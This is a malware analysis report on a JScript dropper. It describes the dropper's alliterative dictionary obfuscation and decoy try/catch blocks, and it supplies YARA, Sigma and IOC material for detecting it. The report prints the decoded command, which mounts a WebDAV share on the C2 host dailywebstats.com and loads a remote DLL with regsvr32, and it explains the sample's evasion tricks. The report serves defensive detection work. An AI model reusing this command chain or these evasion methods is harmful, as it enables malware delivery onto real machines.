cc90d6c54bfdfe7b7bc5ff2a92facb38f599efa43118f47ec09330414c3d0ccfunclassified-js-webdav-dropper: cc90d6c — Alliterative dictionary obfuscation, dailywebstats.com C2, 7110415629547.dll payload
Executive Summary
18 KB JScript dropper hiding its payload behind a 62-entry character dictionary keyed with alliterative three-word English phrases. Decodes to powershell.exe -EncodedCommand mounting a WebDAV share at dailywebstats.com:8888 and loading 7110415629547.dll via regsvr32 /s. Twelfth confirmed sibling in the unclassified-js-webdav-dropper cluster; shares the same C2 host as e6ebae6a but uses a different dictionary naming convention and payload filename.
What It Is
| Field | Value |
|---|---|
| SHA-256 | cc90d6c54bfdfe7b7bc5ff2a92facb38f599efa43118f47ec09330414c3d0ccf |
| Filename | 174828552301971285.js |
| Size | 18,148 bytes (18 KB) |
| Type | ASCII text, very long lines (18148), no line terminators ^[file.txt] |
| Obfuscation engine | Custom JS dictionary lookup (62 entries, alliterative three-word English keys) ^[strings.txt] |
| Language / runtime | JScript (Windows Script Host) |
| C2 / payload | \\dailywebstats.com@8888\DavWWWRoot\7110415629547.dll |
Family attribution: unclassified-js-webdav-dropper. Twelfth confirmed sibling. Same C2 host (dailywebstats.com:8888) as e6ebae6a but with a distinct dictionary key style (alliterative English phrases vs. random lowercase strings). Same execution chain: net use + regsvr32 /s over WebDAV. Confidence: high.
How It Works
Layer 1 — Dictionary lookup table
The first ~13 KB of the file defines 62 key/value pairs in a JScript associative array named instructhelpunequal. ^[strings.txt] Keys are alliterative three-word English phrases (e.g. wavespoisedtrouble, dollschasesongs, blesslackingguiltless) mapping to single printable characters. Every ASCII letter (upper and lower), digit, and common punctuation mark is present. Key lengths range from 12 to 28 characters, with a median of 18.
This is a new dialect variant within the dictionary-lookup family. Prior siblings used:
e6ebae6a: random lowercase strings (e.g.jnqowrftetlzrudc) ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]fa7e181d: 36-entry random lowercase strings ^[/intel/analyses/fa7e181d44a11eb59503c7af81e1607dc4359689bb89c24e0ac5c31295b406d7.html]fb353965: 62-entry alliterative three-word phrases (same style as this sample, different keys and split C2) ^[/intel/analyses/fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498.html]cb5d302f: 36-entry random lowercase strings ^[/intel/analyses/cb5d302f6577bd737bd3daf8e994120646b5340ec2dcedd017aac27496a48ae0.html]
Layer 2 — Try/catch decoy
The payload sits inside a catch block triggered by a deliberately failing try{wholesaleentergullible();}. ^[strings.txt:1] A second decoy try{transportairbillowy();} wraps the inner Function() constructor call. Both function names do not exist; naïve static analyzers following only the try branch miss the real behavior.
Layer 3 — Global object construction and execution
The real command is assembled via Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](...), a self-referential global-object construction to reach WScript.Shell without typing the literal. ^[strings.txt:1] The assembled Base64 string decodes (UTF-16-LE) to:
net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\7110415629547.dll
The run() call is invoked with arguments ('',0,false) — empty window title, hidden window (0), and non-blocking execution (false). ^[strings.txt:1]
No sandbox gates. No debugger checks. No connectivity checks. No persistence. One-shot dropper.
Decompiled Behavior
Not applicable — script source is fully available. Static deobfuscation (Python re + base64) suffices. No compiled binary sections to analyze. CAPE skipped because the file is plain text. ^[dynamic-analysis.md]
C2 Infrastructure
| Indicator | Value |
|---|---|
| WebDAV host | dailywebstats.com |
| WebDAV port | 8888 |
| Payload path | \davwwwroot\7110415629547.dll |
| Staging command | net use + regsvr32 /s over UNC |
DNS/hosting: dailywebstats.com was previously observed in e6ebae6a (30122106810637.dll payload). This sample reuses the same host with a different payload filename (7110415629547.dll), suggesting either the same actor rotating payloads or a shared WebDAV staging server.
Interesting Tidbits
- Alliterative key naming. Unlike the random-string keys in
e6ebae6a/fa7e181d/cb5d302f, this sample andfb353965use memorable alliterative phrases (e.g.wavespoisedtrouble,dollschasesongs). This suggests a common generator or author preference across these two siblings. ^[strings.txt] - No PowerShell visible in plaintext. The
-EncodedCommandwrapper hides the real command inside Base64; the JS layer only assembles the Base64 string. EDR relying on plaintext-EncodedCommandstrings in the parent process (wscript.exe) will not see the real payload until powershell.exe spawns. ^[strings.txt:1] - Try/catch nesting. Two nested
try/catchblocks with non-existent functions (wholesaleentergullible,transportairbillowy) add friction for static analyzers that do not evaluatecatchpaths. ^[strings.txt:1] - Single-line delivery. The entire 18 KB file is one line (18,148 chars, no line terminators). ^[file.txt] Consistent with email-attachment or download delivery where line breaks would be suspicious.
- DLL filename as timestamp.
7110415629547.dllresembles a timestamp (possibly2024-11-04 15:29:547or similar). Shared cluster fingerprint — all siblings use numeric DLL filenames of similar length.
Deployable Signatures
YARA rule
rule JS_WebDAV_Dropper_Alliterative_Dictionary {
meta:
author = "PacketPursuit"
description = "JScript WebDAV dropper with alliterative dictionary obfuscation"
family = "unclassified-js-webdav-dropper"
confidence = "high"
date = "2026-06-24"
strings:
$dict_var = /\w+=\[\];\w+\['[a-z]{12,28}'\]='.'/ nocase
$alliterative_key1 = "wavespoisedtrouble"
$alliterative_key2 = "dollschasesongs"
$alliterative_key3 = "blesslackingguiltless"
$function_constructor = "Function(''+"
$wscript_shell = "'WScript.Shell'"
$encoded_cmd = "-EncodedCommand"
$davwwwroot = "DavWWWRoot" nocase
$regsvr32 = "regsvr32"
$try_decoy = /try\{\w+\(\);\}catch\(\w+\)\{/
condition:
filesize < 30KB and
($dict_var or $alliterative_key1 or $alliterative_key2 or $alliterative_key3) and
$wscript_shell and
($encoded_cmd or ($davwwwroot and $regsvr32))
}
Behavioral hunt query (Sigma — process_creation)
title: WebDAV Regsvr32 DLL Sideloading from WScript Parent
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\wscript.exe'
Image|endswith: '\powershell.exe'
CommandLine|contains:
- '-EncodedCommand'
selection2:
Image|endswith: '\regsvr32.exe'
CommandLine|contains:
- 'DavWWWRoot'
- '\\'
condition: selection or selection2
falsepositives:
- Legitimate WebDAV usage in enterprise environments (rare)
level: high
IOC list
| Type | Value |
|---|---|
| SHA-256 | cc90d6c54bfdfe7b7bc5ff2a92facb38f599efa43118f47ec09330414c3d0ccf |
| Filename | 174828552301971285.js |
| C2 host | dailywebstats.com |
| C2 port | 8888 |
| Payload URL | \\dailywebstats.com@8888\DavWWWRoot\7110415629547.dll |
| JS variable | instructhelpunequal |
| Decoy functions | wholesaleentergullible, transportairbillowy |
Behavioral fingerprint statement
This JScript dropper is delivered as a single-line .js file with no line terminators. It defines a 62-entry character dictionary using alliterative three-word English phrase keys, then assembles a Base64-encoded PowerShell -EncodedCommand string via dictionary lookup concatenation. The decoded command mounts a WebDAV share at dailywebstats.com:8888 and executes regsvr32 /s against a remote DLL (7110415629547.dll). Two nested try/catch blocks with non-existent function calls (wholesaleentergullible, transportairbillowy) hide the real behavior from shallow static analysis.
Detection Signatures
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 (Visual Basic / JScript) | WScript .js file opened by user ^[strings.txt] |
| Execution | T1059.001 (PowerShell) | powershell.exe -EncodedCommand wrapper ^[strings.txt] |
| Execution | T1218.010 (Regsvr32) | regsvr32 /s \\dailywebstats.com@8888\DavWWWRoot\7110415629547.dll ^[strings.txt] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | wscript.exe → powershell.exe → regsvr32.exe proxy chain ^[strings.txt] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | Dictionary lookup-table obfuscation with alliterative keys ^[strings.txt] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP (\\dailywebstats.com@8888\DavWWWRoot\) ^[strings.txt] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use mounts WebDAV share; regsvr32 fetches and loads remote DLL ^[strings.txt] |
References
- Artifact:
cc90d6c54bfdfe7b7bc5ff2a92facb38f599efa43118f47ec09330414c3d0ccf - Source: OpenCTI / MalwareBazaar
- Related wiki pages: unclassified-js-webdav-dropper, js-dictionary-char-lookup-obfuscation, webdav-regsvr32-dll-sideloading
Provenance
Analysis based on static deobfuscation of the raw JScript file. Tool outputs used: file.txt (file-type identification), strings.txt (raw script content), exiftool.json (metadata). No dynamic analysis performed — CAPE does not detonate plain-text scripts. ^[dynamic-analysis.md] Deobfuscation performed with Python re + base64 standard library, verified against the e6ebae6a analysis methodology. ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]